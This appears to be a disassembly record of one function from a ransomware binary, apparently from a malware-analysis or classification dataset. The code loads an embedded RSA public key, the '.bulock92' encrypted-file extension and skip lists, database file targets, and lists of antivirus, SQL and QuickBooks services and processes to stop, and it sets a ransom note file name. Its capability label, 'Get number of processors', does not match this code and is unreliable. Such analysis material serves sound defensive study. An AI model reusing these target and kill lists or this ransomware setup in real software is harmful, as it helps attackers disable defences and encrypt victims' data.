Function at 0x40fdd0
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x45b3c0
mov eax, dword fs:[0]
push eax
sub esp, 0x94
mov eax, dword [0x4810f4]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], ecx
push str.BgIAAACkAABSU0ExAAgAAAEAAQCV9LvY1a2rVQQKmHIYxXwltivcgEVoGHGSlKiHlpscysu4TFFZjGnMZGNZWTRb7nMG3dbHsFAtpEqANZtrFEa7qB93oCcKf2tekVmX8LvN3iaucvPjMyGmt9pVa_t7B4lrASmVHYi0srzzdQ8TkIc26mzHrrZWx3RMQbz6Elsifb2Z1fwTdpnQUJ4Otq5pxlzifT2tsB8jMTJv59N7owqCYivCq9bToZrfUdmnX2shzyaAe6axPaVArV_j2_iRk83i2piMda86GD87AryP5fTYApA2cCP2hicRWHNCFBJW5hne5doonZ9y2gn509GMxYv9qAhB2x8a9i8p6X
mov ecx, dword [ebp - 0x10]
call fcn.00407920
push str..bulock92
lea ecx, [ebp - 0x28]
call fcn.00407920
lea eax, [ebp - 0x28]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x18
push ecx
mov ecx, dword [ebp - 0x10]
call fcn.0040ffb0
lea ecx, [ebp - 0x28]
call fcn.00407900
push str..dll_.sys_.ini_.rdp_.encrypted_.exe_.acessd_.legacy_.zeromo_.bulock1_.bulock2_.bulock3_.bulock4_.bulock5_.bulock6_.bulock7_.bulock8_.bulock9_.bulock10_.bulock11_.bulock12_.bulock13_.bulock14_.bulock15_.bulock16_.bulock17_.bulock18_.bulock19_.bulock20_.bulock21_.bulock22_.bulock23_.bulock24_.bulock25_.bulock26_.bulock27_.bulock28_.bulock29_.bulock30_.bulock31_.bulock32_.bulock33_.bulock34_.bulock35_.bulock36_.bulock37_.bulock38_.bulock39_.bulock40_.bulock41_.bulock42_.bulock43_.bulock44_.bulock45_.bulock46_.bulock47_.bulock48_.bulock49_.bulock50_.bulock51_.bulock52_.bulock53_.bulock54_.bulock55_.bulock56_.bulock57_.bulock58_.bulock59_.bulock60_.bulock61_.bulock62_.bulock63_.bulock64_.bulock65_.bulock66_.bulock67_.bulock68_.bulock69_.bulock70_.bulock71_.bulock72_.bulock73_.bulock74_.bulock75_.bulock76_.bulock77_.bulock78_.bulock79_.bulock80_.bulock81_.bulock82_.bulock83_.bulock84_.bulock85_.bulock86_.bulock87_.bulock88_.bulock89_.bulock90_.bulock91_.bulock92_.bulock93_.bulock94_.bulock95_.bulock96_.bulock97_.bulock98_.bulock99_.bulock100_.bulock101_.bulock102_.bulock103_.bulock104_.bulock105_.bulock106_.bulock107_.bulock108_.bulock109_.bulock110_.bulock111_.bulock112_.bulock113_.bulock114_.bulock115_.bulock116_.bulock117_.bulock118_.bulock119_.bulock120_.bulock121_.bulock122_.bulock123_.bulock124_.bulock125_.bulock126_.bulock127_.bulock128_.bulock129_.bulock130_.bulock131_.bulock132_.bulock133_.bulock134_.bulock135_.bulock136_.bulock137_.bulock138_.bulock139_.bulock140_.bulock141_.bulock142_.bulock143_.bulock144_.bulock145_.bulock146_.bulock147_.bulock148_.bulock149_.bulock150_.bulock151_.bulock152_.bulock153_.bulock154_.bulock155_.bulock156_.bulock157_.bulock158_.bulock159_.bulock160_.bulock161_.bulock162_.bulock163_.bulock164_.bulock165_.bulock166_.bulock167_.bulock168_.bulock169_.bulock170_.bulock171_.bulock172_.bulock173_.bulock174_.bulock175_.bulock176_.bulock177_.bulock178_.bulock179_.bulock180_.bulock181_.bulock182_.bulock183_.bulock184_.bulock185_.bulock186_.bulock187_.bulock188_.bulock189_.bulock190_
lea ecx, [ebp - 0x40]
call fcn.00407920
push 0x2c
lea edx, [ebp - 0x40]
push edx
mov eax, dword [ebp - 0x10]
add eax, 0x30
push eax
mov ecx, dword [ebp - 0x10]
call fcn.004101c0
lea ecx, [ebp - 0x40]
call fcn.00407900
push str..sql_.mdf
lea ecx, [ebp - 0x58]
call fcn.00407920
push 0x2c
lea ecx, [ebp - 0x58]
push ecx
mov edx, dword [ebp - 0x10]
add edx, 0x3c
push edx
mov ecx, dword [ebp - 0x10]
call fcn.004101c0
lea ecx, [ebp - 0x58]
call fcn.00407900
push str.wrapper_DefWatch_ccEvtMgr_ccSetMgr_SavRoam_sqlservr_sqlagent_sqladhlp_Culserver_RTVscan_sqlbrowser_SQLADHLP_QBIDPService_Intuit.QuickBooks.FCS_QBCFMonitorService_sqlwriter_msmdsrv_tomcat6_zhudongfangyu_SQLADHLP_vmware_usbarbitator64_vmware_converter_dbsrv12_dbeng8
lea ecx, [ebp - 0x70]
call fcn.00407920
push 0x2c
lea eax, [ebp - 0x70]
push eax
mov ecx, dword [ebp - 0x10]
add ecx, 0x48
push ecx
mov ecx, dword [ebp - 0x10]
call fcn.004101c0
lea ecx, [ebp - 0x70]
call fcn.00407900
push str.wxServer.exe_wxServerView_sqlservr.exe_sqlmangr.exe_RAgui.exe_supervise.exe_Culture.exe_RTVscan.exe_Defwatch.exe_sqlbrowser.exe_winword.exe_QBW32.exe_QBDBMgr.exe_qbupdate.exe_QBCFMonitorService.exe_axlbridge.exe_QBIDPService.exe_httpd.exe_fdlauncher.exe_MsDtSrvr.exe_tomcat6.exe_java.exe_360se.exe_360doctor.exe_wdswfsafe.exe_fdlauncher.exe_fdhost.exe_GDscan.exe_ZhuDongFangYu.exe
lea ecx, [ebp - 0x88]
call fcn.00407920
push 0x2c
lea edx, [ebp - 0x88]
push edx
mov eax, dword [ebp - 0x10]
add eax, 0x54
push eax
mov ecx, dword [ebp - 0x10]
call fcn.004101c0
lea ecx, [ebp - 0x88]
call fcn.00407900
mov ecx, dword [ebp - 0x10]
mov dword [ecx + 0x60], 0xf
push str.HOW_TO_BACK_FILES.html
lea ecx, [ebp - 0xa0]
call fcn.00407920
lea edx, [ebp - 0xa0]
push edx
mov eax, dword [ebp - 0x10]
add eax, 0x64
push eax
mov ecx, dword [ebp - 0x10]
call fcn.0040ffb0
lea ecx, [ebp - 0xa0]
call fcn.00407900
mov ecx, dword [ebp - 0x10]
add ecx, 0x7c
push ecx
mov ecx, dword [ebp - 0x10]
call fcn.00410300
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov esp, ebp
pop ebp
ret